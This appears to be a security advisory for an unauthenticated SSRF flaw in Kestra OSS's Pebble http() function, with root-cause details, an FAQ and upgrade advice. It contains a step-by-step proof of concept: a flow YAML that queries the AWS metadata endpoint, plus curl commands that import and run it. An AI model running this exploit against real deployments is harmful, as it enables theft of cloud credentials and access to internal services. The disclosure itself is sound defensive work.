GHSA-r56g-q4p6-m3p6: SSRF
Summary The Pebble template engine's http() function in Kestra OSS accepts user-controlled URLs without any validation, allowing Server-Side Request Forgery (SSRF) attacks. An unauthenticated attacker can import a malicious Flow YAML and execute it to access internal services, cloud metadata endpoints (AWS 169.254.169.254), or localhost services. The vulnerability affects all Kestra OSS deployments with default configuration.
Details The root cause is in core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java (lines 77-106):
1. No URL validation: User input is passed directly to URI.create() with no checks for private IPs, internal hosts, or restricted schemes 2. No IP filtering: Missing checks for 10.0.0.0/8, 192.168.0.0/16, 169.254.169.254, 127.0.0.1 3. No scheme restriction: file://, gopher:// schemes are not blocked 4. No authentication required: TenantValidationFilter.java only checks tenant == "main" — no authentication 5. Unconditional registration: HttpFunction is registered without any feature flags in Extension.java:180
PoC Prerequisites: bash docker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local sleep 30
Step 1: Create malicious Flow YAML yaml cat > /tmp/ssrfpoc.yaml << 'YAML' id: ssrfmetadata namespace: company.team tasks: - id: exfiltrate type: io.kestra.plugin.core.log.Log message: | {{ http(uri='http://169.254.169.254/latest/meta-data/', method='GET') }} YAML
Step 2: Import without authentication bash curl -X POST http://localhost:8080/api/v1/main/flows/import \ -F "fileUpload=@/tmp/ssrfpoc.yaml"
Step 3: Execute the flow bash curl -X POST http://localhost:8080/api/v1/main/executions/company.team/ssrfmetadata
Step 4: Verify — the flow execution output contains AWS EC2 metadata (ami-id, instance-type, IAM credentials if available)
Impact - CVSS 3.1: 8.6 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - CWE: CWE-918 (Server-Side Request Forgery) - Affected: All Kestra OSS versions (default deployment) - Impact: Attackers can access internal services, cloud metadata (AWS/GCP/Azure), localhost endpoints, and potentially escalate to cloud credential theft
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
maven/io.kestra:kestra-coreto a version that resolves this vulnerability.Fixed in 2.0.0
Event History
Frequently Asked Questions
Which deployments are exposed?
All Kestra OSS deployments using the default configuration are affected. The vulnerable http() function is registered unconditionally and is not controlled by a feature flag.
What does an attacker need to exploit this?
An attacker does not need authentication. They need to import a malicious Flow YAML and execute it, allowing the Flow to supply attacker-controlled URLs to the http() function.
What internal targets could be reached?
The function does not filter private or local addresses, including 10.0.0.0/8, 192.168.0.0/16, 127.0.0.1, and the AWS metadata address 169.254.169.254. It also does not restrict schemes such as file:// or gopher://.
How can I determine whether my instance is affected?
An instance is affected if it is a Kestra OSS deployment with the default configuration and includes the unconditionally registered Pebble http() function. The described vulnerable implementation is in core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java.